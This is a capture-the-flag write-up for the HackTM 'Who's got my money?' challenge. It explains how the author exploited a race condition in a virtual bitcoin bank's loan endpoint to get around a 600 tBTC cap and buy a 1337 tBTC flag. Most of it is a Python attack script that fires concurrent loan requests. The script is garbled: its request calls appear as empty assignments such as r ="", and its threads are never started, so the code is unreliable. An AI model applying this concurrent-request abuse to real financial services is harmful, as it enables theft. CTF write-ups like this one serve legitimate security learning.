Who’s got my money?

Please abstain from brute-forcing files.

Author: nytr0gen

The website is a virtual bitcoin bank.

After registration we can access two tabs:

  1. The first tab is for loan requests, that have 2 restrictions:
    • Requested amount must be an integer value between 1 to 100
    • Maximum of all loans received from the bank is 600.
  2. In the second one you can purchase items like chocolate, books, etc. with the BTC loaned before.

One of the interesting things you can purchase is a flag, but it has a price of 1337 BTC
The problem is, of course, that you can loan only 600 BTC.

After researching the loan request (several interactions with the server side and understanding its response behavior), we identified that the server side has a logical flaw.
We can spam it with a lot of concurrent requests and trigger a race condition.
With this bug we can bypass the restriction, loan more then 600 tBTC and purchase the flag.

Below is a simple python script which performs a lot of concurrent requests to the server. After receiving the required number of bitcoins, the script purchases the flag and prints its textual value.

import requests
import threading
import re

money = [b'0']
while int(money[0].replace(b"," ,b"")) <= 1300:
        ### Registration
        session = requests.Session()
        r ="")
        csrf_tocken = re.findall(b'name="csrf_token".*value="(.*)"', r.content)
        paramsPost = {"csrf_token": csrf_tocken,"username":"\x2371"}
        headers = {"Origin":"","Upgrade-Insecure-Requests":"1","Content-Type":"application/x-www-form-urlencoded"}
        r ="", data=paramsPost, headers=headers)

        ## Hack <=====
        def tr(a,b):
                global money
                paramsPost = {"loan":"100","csrf_token": csrf_tocken}
                response ="", data=paramsPost)
                if response.status_code == 200:
                    money = re.findall(b'Money: (.*)\.\d+ tBTC', response.content)

        for i in range(7):
                tr1 = threading.Thread(target=tr, args=(1,2))
                tr2 = threading.Thread(target=tr, args=(1,2))
                tr3 = threading.Thread(target=tr, args=(1,2))
        print("%s" % money)

paramsPost = {"item":"1337","csrf_token":csrf_tocken}
response ="", data=paramsPost)
print("[+] HackTM{%s}" % (re.findall(b'HackTM{(.*)}',response.content)[0].decode('utf-8')))